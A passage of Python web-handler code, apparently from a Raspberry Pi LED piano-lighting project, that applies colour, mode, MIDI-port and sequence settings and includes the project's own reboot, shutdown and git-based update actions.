webinterface.ledsettings.color_mode = \"Single\"\n\n        webinterface.ledsettings.red = rgb[0]\n        webinterface.ledsettings.green = rgb[1]\n        webinterface.ledsettings.blue = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"color_mode\", webinterface.ledsettings.color_mode)\n        webinterface.usersettings.change_setting_value(\"red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"light_mode\":\n        webinterface.ledsettings.mode = value\n        webinterface.usersettings.change_setting_value(\"mode\", value)\n\n    if setting_name == \"fading_speed\" or setting_name == \"velocity_speed\":\n        webinterface.ledsettings.fadingspeed = int(value)\n        webinterface.usersettings.change_setting_value(\"fadingspeed\", webinterface.ledsettings.fadingspeed)\n\n    if setting_name == \"brightness\":\n        webinterface.usersettings.change_setting_value(\"brightness_percent\", int(value))\n        webinterface.ledstrip.change_brightness(int(value), True)\n\n    if setting_name == \"backlight_brightness\":\n        webinterface.ledsettings.backlight_brightness_percent = int(value)\n        webinterface.ledsettings.backlight_brightness = 255 * webinterface.ledsettings.backlight_brightness_percent / 100\n        webinterface.usersettings.change_setting_value(\"backlight_brightness\",\n                                                       int(webinterface.ledsettings.backlight_brightness))\n        webinterface.usersettings.change_setting_value(\"backlight_brightness_percent\",\n                                                       webinterface.ledsettings.backlight_brightness_percent)\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n    if setting_name == \"backlight_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n\n        webinterface.ledsettings.backlight_red = rgb[0]\n        webinterface.ledsettings.backlight_green = rgb[1]\n        webinterface.ledsettings.backlight_blue = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"backlight_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"backlight_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"backlight_blue\", rgb[2])\n\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n    if setting_name == \"sides_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n\n        webinterface.ledsettings.adjacent_red = rgb[0]\n        webinterface.ledsettings.adjacent_green = rgb[1]\n        webinterface.ledsettings.adjacent_blue = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"adjacent_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"adjacent_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"adjacent_blue\", rgb[2])\n\n    if setting_name == \"sides_color_mode\":\n        webinterface.ledsettings.adjacent_mode = value\n        webinterface.usersettings.change_setting_value(\"adjacent_mode\", value)\n\n    if setting_name == \"input_port\":\n        webinterface.usersettings.change_setting_value(\"input_port\", value)\n        webinterface.midiports.change_port(\"inport\", value)\n\n    if setting_name == \"secondary_input_port\":\n        webinterface.usersettings.change_setting_value(\"secondary_input_port\", value)\n\n    if setting_name == \"play_port\":\n        webinterface.usersettings.change_setting_value(\"play_port\", value)\n        webinterface.midiports.change_port(\"playport\", value)\n\n    if setting_name == \"skipped_notes\":\n        webinterface.usersettings.change_setting_value(\"skipped_notes\", value)\n        webinterface.ledsettings.skipped_notes = value\n\n    if setting_name == \"add_note_offset\":\n        webinterface.ledsettings.add_note_offset()\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"append_note_offset\":\n        webinterface.ledsettings.append_note_offset()\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"remove_note_offset\":\n        webinterface.ledsettings.del_note_offset(int(value) + 1)\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"note_offsets\":\n        webinterface.usersettings.change_setting_value(\"note_offsets\", value)\n\n    if setting_name == \"update_note_offset\":\n        webinterface.ledsettings.update_note_offset(int(value) + 1, second_value)\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"led_count\":\n        webinterface.usersettings.change_setting_value(\"led_count\", int(value))\n        webinterface.ledstrip.change_led_count(int(value), True)\n\n    if setting_name == \"shift\":\n        webinterface.usersettings.change_setting_value(\"shift\", int(value))\n        webinterface.ledstrip.change_shift(int(value), True)\n\n    if setting_name == \"reverse\":\n        webinterface.usersettings.change_setting_value(\"reverse\", int(value))\n        webinterface.ledstrip.change_reverse(int(value), True)\n\n    if setting_name == \"color_mode\":\n        reload_sequence = True\n        if (second_value == \"no_reload\"):\n            reload_sequence = False\n\n        webinterface.ledsettings.color_mode = value\n        webinterface.usersettings.change_setting_value(\"color_mode\", webinterface.ledsettings.color_mode)\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"add_multicolor\":\n        webinterface.ledsettings.addcolor()\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"add_multicolor_and_set_value\":\n        settings = json.loads(value)\n\n        webinterface.ledsettings.multicolor.clear()\n        webinterface.ledsettings.multicolor_range.clear()\n\n        for key, value in settings.items():\n            rgb = wc.hex_to_rgb(\"#\" + value[\"color\"])\n\n            webinterface.ledsettings.multicolor.append([int(rgb[0]), int(rgb[1]), int(rgb[2])])\n            webinterface.ledsettings.multicolor_range.append([int(value[\"range\"][0]), int(value[\"range\"][1])])\n\n        webinterface.usersettings.change_setting_value(\"multicolor\", webinterface.ledsettings.multicolor)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\",\n                                                       webinterface.ledsettings.multicolor_range)\n\n        return jsonify(success=True)\n\n    if setting_name == \"remove_multicolor\":\n        webinterface.ledsettings.deletecolor(int(value) + 1)\n        return jsonify(success=True, reload=True)\n\n    if setting_name == \"multicolor\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.multicolor[int(second_value)][0] = rgb[0]\n        webinterface.ledsettings.multicolor[int(second_value)][1] = rgb[1]\n        webinterface.ledsettings.multicolor[int(second_value)][2] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"multicolor\", webinterface.ledsettings.multicolor)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"multicolor_range_left\":\n        webinterface.ledsettings.multicolor_range[int(second_value)][0] = int(value)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\", webinterface.ledsettings.multicolor_range)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"multicolor_range_right\":\n        webinterface.ledsettings.multicolor_range[int(second_value)][1] = int(value)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\", webinterface.ledsettings.multicolor_range)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"remove_all_multicolors\":\n        webinterface.ledsettings.multicolor.clear()\n        webinterface.ledsettings.multicolor_range.clear()\n\n        webinterface.usersettings.change_setting_value(\"multicolor\", webinterface.ledsettings.multicolor)\n        webinterface.usersettings.change_setting_value(\"multicolor_range\", webinterface.ledsettings.multicolor_range)\n        return jsonify(success=True)\n\n    if setting_name == \"rainbow_offset\":\n        webinterface.ledsettings.rainbow_offset = int(value)\n        webinterface.usersettings.change_setting_value(\"rainbow_offset\",\n                                                       int(webinterface.ledsettings.rainbow_offset))\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"rainbow_scale\":\n        webinterface.ledsettings.rainbow_scale = int(value)\n        webinterface.usersettings.change_setting_value(\"rainbow_scale\",\n                                                       int(webinterface.ledsettings.rainbow_scale))\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"rainbow_timeshift\":\n        webinterface.ledsettings.rainbow_timeshift = int(value)\n        webinterface.usersettings.change_setting_value(\"rainbow_timeshift\",\n                                                       int(webinterface.ledsettings.rainbow_timeshift))\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_slowest_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.speed_slowest[\"red\"] = rgb[0]\n        webinterface.ledsettings.speed_slowest[\"green\"] = rgb[1]\n        webinterface.ledsettings.speed_slowest[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"speed_slowest_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"speed_slowest_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"speed_slowest_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_fastest_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.speed_fastest[\"red\"] = rgb[0]\n        webinterface.ledsettings.speed_fastest[\"green\"] = rgb[1]\n        webinterface.ledsettings.speed_fastest[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"speed_fastest_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"speed_fastest_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"speed_fastest_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"gradient_start_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.gradient_start[\"red\"] = rgb[0]\n        webinterface.ledsettings.gradient_start[\"green\"] = rgb[1]\n        webinterface.ledsettings.gradient_start[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"gradient_start_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"gradient_start_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"gradient_start_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"gradient_end_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.gradient_end[\"red\"] = rgb[0]\n        webinterface.ledsettings.gradient_end[\"green\"] = rgb[1]\n        webinterface.ledsettings.gradient_end[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"gradient_end_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"gradient_end_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"gradient_end_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_max_notes\":\n        webinterface.ledsettings.speed_max_notes = int(value)\n        webinterface.usersettings.change_setting_value(\"speed_max_notes\", int(value))\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_period_in_seconds\":\n        webinterface.ledsettings.speed_period_in_seconds = float(value)\n        webinterface.usersettings.change_setting_value(\"speed_period_in_seconds\", float(value))\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"key_in_scale_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.key_in_scale[\"red\"] = rgb[0]\n        webinterface.ledsettings.key_in_scale[\"green\"] = rgb[1]\n        webinterface.ledsettings.key_in_scale[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"key_in_scale_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"key_in_scale_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"key_in_scale_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"key_not_in_scale_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.key_not_in_scale[\"red\"] = rgb[0]\n        webinterface.ledsettings.key_not_in_scale[\"green\"] = rgb[1]\n        webinterface.ledsettings.key_not_in_scale[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"key_not_in_scale_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"key_not_in_scale_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"key_not_in_scale_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"scale_key\":\n        webinterface.ledsettings.scale_key = int(value)\n        webinterface.usersettings.change_setting_value(\"scale_key\", int(value))\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"next_step\":\n        webinterface.ledsettings.set_sequence(0, 1, False)\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"set_sequence\":\n        if (int(value) == 0):\n            webinterface.ledsettings.__init__(webinterface.usersettings)\n            webinterface.ledsettings.sequence_active = False\n        else:\n            webinterface.ledsettings.set_sequence(int(value) - 1, 0)\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"change_sequence_name\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n        sequence_to_edit = \"sequence_\" + str(value)\n\n        sequences_tree.getElementsByTagName(sequence_to_edit)[\n            0].getElementsByTagName(\"settings\")[\n            0].getElementsByTagName(\"sequence_name\")[0].firstChild.nodeValue = str(second_value)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"change_step_value\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n        sequence_to_edit = \"sequence_\" + str(value)\n\n        sequences_tree.getElementsByTagName(sequence_to_edit)[\n            0].getElementsByTagName(\"settings\")[\n            0].getElementsByTagName(\"next_step\")[0].firstChild.nodeValue = str(second_value)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"change_step_activation_method\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n        sequence_to_edit = \"sequence_\" + str(value)\n\n        sequences_tree.getElementsByTagName(sequence_to_edit)[\n            0].getElementsByTagName(\"settings\")[\n            0].getElementsByTagName(\"control_number\")[0].firstChild.nodeValue = str(second_value)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"add_sequence\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        sequences_amount = 1\n        while True:\n            if (len(sequences_tree.getElementsByTagName(\"sequence_\" + str(sequences_amount))) == 0):\n                break\n            sequences_amount += 1\n\n        settings = sequences_tree.createElement(\"settings\")\n\n        control_number = sequences_tree.createElement(\"control_number\")\n        control_number.appendChild(sequences_tree.createTextNode(\"0\"))\n        settings.appendChild(control_number)\n\n        next_step = sequences_tree.createElement(\"next_step\")\n        next_step.appendChild(sequences_tree.createTextNode(\"1\"))\n        settings.appendChild(next_step)\n\n        sequence_name = sequences_tree.createElement(\"sequence_name\")\n        sequence_name.appendChild(sequences_tree.createTextNode(\"Sequence \" + str(sequences_amount)))\n        settings.appendChild(sequence_name)\n\n        step = sequences_tree.createElement(\"step_1\")\n\n        color = sequences_tree.createElement(\"color\")\n        color.appendChild(sequences_tree.createTextNode(\"RGB\"))\n        step.appendChild(color)\n\n        red = sequences_tree.createElement(\"Red\")\n        red.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(red)\n\n        green = sequences_tree.createElement(\"Green\")\n        green.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(green)\n\n        blue = sequences_tree.createElement(\"Blue\")\n        blue.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(blue)\n\n        light_mode = sequences_tree.createElement(\"light_mode\")\n        light_mode.appendChild(sequences_tree.createTextNode(\"Normal\"))\n        step.appendChild(light_mode)\n\n        element = sequences_tree.createElement(\"sequence_\" + str(sequences_amount))\n        element.appendChild(settings)\n        element.appendChild(step)\n\n        sequences_tree.getElementsByTagName(\"list\")[0].appendChild(element)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"remove_sequence\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        # removing sequence node\n        nodes = sequences_tree.getElementsByTagName(\"sequence_\" + str(value))\n        for node in nodes:\n            parent = node.parentNode\n            parent.removeChild(node)\n\n        # changing nodes tag names\n        i = 1\n        for sequence in sequences_tree.getElementsByTagName(\"list\")[0].childNodes:\n            if (sequence.nodeType == 1):\n                sequences_tree.getElementsByTagName(sequence.nodeName)[0].tagName = \"sequence_\" + str(i)\n                i += 1\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"add_step\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        step_amount = 1\n        while True:\n            if (len(sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(\n                    \"step_\" + str(step_amount))) == 0):\n                break\n            step_amount += 1\n\n        step = sequences_tree.createElement(\"step_\" + str(step_amount))\n\n        color = sequences_tree.createElement(\"color\")\n\n        color.appendChild(sequences_tree.createTextNode(\"RGB\"))\n        step.appendChild(color)\n\n        red = sequences_tree.createElement(\"Red\")\n        red.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(red)\n\n        green = sequences_tree.createElement(\"Green\")\n        green.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(green)\n\n        blue = sequences_tree.createElement(\"Blue\")\n        blue.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(blue)\n\n        light_mode = sequences_tree.createElement(\"light_mode\")\n        light_mode.appendChild(sequences_tree.createTextNode(\"Normal\"))\n        step.appendChild(light_mode)\n\n        sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].appendChild(step)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence, reload_steps_list=True)\n\n    # remove node list with a tag name \"step_\" + str(value), and change tag names to maintain order\n    if setting_name == \"remove_step\":\n\n        second_value = int(second_value)\n        second_value += 1\n\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        # removing step node\n        nodes = sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(\n            \"step_\" + str(second_value))\n        for node in nodes:\n            parent = node.parentNode\n            parent.removeChild(node)\n\n        # changing nodes tag names\n        i = 1\n        for step in sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].childNodes:\n            if (step.nodeType == 1 and step.tagName != \"settings\"):\n                sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(step.nodeName)[\n                    0].tagName = \"step_\" + str(i)\n                i += 1\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    # saving current led settings as sequence step\n    if setting_name == \"save_led_settings_to_step\" and second_value != \"\":\n\n        # remove node and child under \"sequence_\" + str(value) and \"step_\" + str(second_value)\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        second_value = int(second_value)\n        second_value += 1\n\n        nodes = sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(\n            \"step_\" + str(second_value))\n        for node in nodes:\n            parent = node.parentNode\n            parent.removeChild(node)\n\n        # create new step node\n        step = sequences_tree.createElement(\"step_\" + str(second_value))\n\n        # load color mode from webinterface.ledsettings and put it into step node\n        color_mode = sequences_tree.createElement(\"color\")\n        color_mode.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.color_mode)))\n        step.appendChild(color_mode)\n\n        # load mode from webinterface.ledsettings and put it into step node\n        mode = sequences_tree.createElement(\"light_mode\")\n        mode.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.mode)))\n        step.appendChild(mode)\n\n        # if mode is equal \"Fading\" or \"Velocity\" load mode from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.mode == \"Fading\" or webinterface.ledsettings.mode == \"Velocity\"):\n            fadingspeed = sequences_tree.createElement(\"fadingspeed\")\n\n            # depending on fadingspeed name set different fadingspeed value\n            if (webinterface.ledsettings.fadingspeed == \"Slow\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"10\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Medium\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"20\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Fast\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"40\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Very fast\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"50\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Instant\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"1000\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Very slow\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"2\"))\n\n            step.appendChild(fadingspeed)\n\n        # if color_mode is equal to \"Single\" load color from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Single\"):\n            red = sequences_tree.createElement(\"Red\")\n            red.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.red)))\n            step.appendChild(red)\n\n            green = sequences_tree.createElement(\"Green\")\n            green.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.green)))\n            step.appendChild(green)\n\n            blue = sequences_tree.createElement(\"Blue\")\n            blue.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.blue)))\n            step.appendChild(blue)\n\n        # if color_mode is equal to \"Multicolor\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Multicolor\"):\n            # load value from webinterface.ledsettings.multicolor\n            multicolor = webinterface.ledsettings.multicolor\n\n            # loop through multicolor object and add each color to step node under \"sequence_\"+str(value) with tag name \"color_\"+str(i)\n            for i in range(len(multicolor)):\n                color = sequences_tree.createElement(\"color_\" + str(i + 1))\n                new_multicolor = str(multicolor[i])\n                new_multicolor = new_multicolor.replace(\"[\", \"\")\n                new_multicolor = new_multicolor.replace(\"]\", \"\")\n\n                color.appendChild(sequences_tree.createTextNode(new_multicolor))\n                step.appendChild(color)\n\n            # same as above but with multicolor_range and \"color_range_\"+str(i)\n            multicolor_range = webinterface.ledsettings.multicolor_range\n            for i in range(len(multicolor_range)):\n                color_range = sequences_tree.createElement(\"color_range_\" + str(i + 1))\n                new_multicolor_range = str(multicolor_range[i])\n\n                new_multicolor_range = new_multicolor_range.replace(\"[\", \"\")\n                new_multicolor_range = new_multicolor_range.replace(\"]\", \"\")\n                color_range.appendChild(sequences_tree.createTextNode(new_multicolor_range))\n                step.appendChild(color_range)\n\n        # if color_mode is equal to \"Rainbow\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Rainbow\"):\n            # load values rainbow_offset, rainbow_scale and rainbow_timeshift from webinterface.ledsettings and put them into step node under Offset, Scale and Timeshift\n            rainbow_offset = sequences_tree.createElement(\"Offset\")\n            rainbow_offset.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.rainbow_offset)))\n            step.appendChild(rainbow_offset)\n\n            rainbow_scale = sequences_tree.createElement(\"Scale\")\n            rainbow_scale.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.rainbow_scale)))\n            step.appendChild(rainbow_scale)\n\n            rainbow_timeshift = sequences_tree.createElement(\"Timeshift\")\n            rainbow_timeshift.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.rainbow_timeshift)))\n            step.appendChild(rainbow_timeshift)\n\n        # if color_mode is equal to \"Speed\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Speed\"):\n            # load values speed_slowest[\"red\"] etc from webinterface.ledsettings and put them under speed_slowest_red etc\n            speed_slowest_red = sequences_tree.createElement(\"speed_slowest_red\")\n            speed_slowest_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_slowest[\"red\"])))\n            step.appendChild(speed_slowest_red)\n\n            speed_slowest_green = sequences_tree.createElement(\"speed_slowest_green\")\n            speed_slowest_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_slowest[\"green\"])))\n            step.appendChild(speed_slowest_green)\n\n            speed_slowest_blue = sequences_tree.createElement(\"speed_slowest_blue\")\n            speed_slowest_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_slowest[\"blue\"])))\n            step.appendChild(speed_slowest_blue)\n\n            # same as above but with \"fastest\"\n            speed_fastest_red = sequences_tree.createElement(\"speed_fastest_red\")\n            speed_fastest_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_fastest[\"red\"])))\n            step.appendChild(speed_fastest_red)\n\n            speed_fastest_green = sequences_tree.createElement(\"speed_fastest_green\")\n            speed_fastest_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_fastest[\"green\"])))\n            step.appendChild(speed_fastest_green)\n\n            speed_fastest_blue = sequences_tree.createElement(\"speed_fastest_blue\")\n            speed_fastest_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_fastest[\"blue\"])))\n            step.appendChild(speed_fastest_blue)\n\n            # load \"speed_max_notes\" and \"speed_period_in_seconds\" values from webinterface.ledsettings\n            # and put them under speed_max_notes and speed_period_in_seconds\n\n            speed_max_notes = sequences_tree.createElement(\"speed_max_notes\")\n            speed_max_notes.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.speed_max_notes)))\n            step.appendChild(speed_max_notes)\n\n            speed_period_in_seconds = sequences_tree.createElement(\"speed_period_in_seconds\")\n            speed_period_in_seconds.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_period_in_seconds)))\n            step.appendChild(speed_period_in_seconds)\n\n        # if color_mode is equal to \"Gradient\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Gradient\"):\n            # load values gradient_start_red etc from webinterface.ledsettings and put them under gradient_start_red etc\n            gradient_start_red = sequences_tree.createElement(\"gradient_start_red\")\n            gradient_start_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_start[\"red\"])))\n            step.appendChild(gradient_start_red)\n\n            gradient_start_green = sequences_tree.createElement(\"gradient_start_green\")\n            gradient_start_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_start[\"green\"])))\n            step.appendChild(gradient_start_green)\n\n            gradient_start_blue = sequences_tree.createElement(\"gradient_start_blue\")\n            gradient_start_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_start[\"blue\"])))\n            step.appendChild(gradient_start_blue)\n\n            # same as above but with gradient_end\n            gradient_end_red = sequences_tree.createElement(\"gradient_end_red\")\n            gradient_end_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_end[\"red\"])))\n            step.appendChild(gradient_end_red)\n\n            gradient_end_green = sequences_tree.createElement(\"gradient_end_green\")\n            gradient_end_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_end[\"green\"])))\n            step.appendChild(gradient_end_green)\n\n            gradient_end_blue = sequences_tree.createElement(\"gradient_end_blue\")\n            gradient_end_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_end[\"blue\"])))\n            step.appendChild(gradient_end_blue)\n\n        # if color_mode is equal to \"Scale\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Scale\"):\n            # load values key_in_scale_red etc from webinterface.ledsettings and put them under key_in_scale_red etc\n            key_in_scale_red = sequences_tree.createElement(\"key_in_scale_red\")\n            key_in_scale_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_in_scale[\"red\"])))\n            step.appendChild(key_in_scale_red)\n\n            key_in_scale_green = sequences_tree.createElement(\"key_in_scale_green\")\n            key_in_scale_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_in_scale[\"green\"])))\n            step.appendChild(key_in_scale_green)\n\n            key_in_scale_blue = sequences_tree.createElement(\"key_in_scale_blue\")\n            key_in_scale_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_in_scale[\"blue\"])))\n            step.appendChild(key_in_scale_blue)\n\n            # same as above but with key_not_in_scale\n            key_not_in_scale_red = sequences_tree.createElement(\"key_not_in_scale_red\")\n            key_not_in_scale_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_not_in_scale[\"red\"])))\n            step.appendChild(key_not_in_scale_red)\n\n            key_not_in_scale_green = sequences_tree.createElement(\"key_not_in_scale_green\")\n            key_not_in_scale_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_not_in_scale[\"green\"])))\n            step.appendChild(key_not_in_scale_green)\n\n            key_not_in_scale_blue = sequences_tree.createElement(\"key_not_in_scale_blue\")\n            key_not_in_scale_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_not_in_scale[\"blue\"])))\n            step.appendChild(key_not_in_scale_blue)\n\n        try:\n            sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[\n                0].insertBefore(step,\n                                sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[\n                                    0].getElementsByTagName(\"step_\" + str(second_value + 1))[0])\n        except:\n            sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].appendChild(step)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence, reload_steps_list=True)\n\n    if setting_name == \"screen_on\":\n        if (int(value) == 0):\n            webinterface.menu.disable_screen()\n        else:\n            webinterface.menu.enable_screen()\n\n    if setting_name == \"reset_to_default\":\n        webinterface.usersettings.reset_to_default()\n\n    if setting_name == \"restart_rpi\":\n        call(\"sudo /sbin/reboot now\", shell=True)\n\n    if setting_name == \"turnoff_rpi\":\n        call(\"sudo /sbin/shutdown -h now\", shell=True)\n\n    if setting_name == \"update_rpi\":\n        call(\"sudo git reset --hard HEAD\", shell=True)\n        call(\"sudo git checkout .\", shell=True)\n        call(\"sudo git clean -fdx\", shell=True)\n        call(\"sudo git pull origin master\", shell=True)\n\n    if setting_name == \"connect_ports\":\n        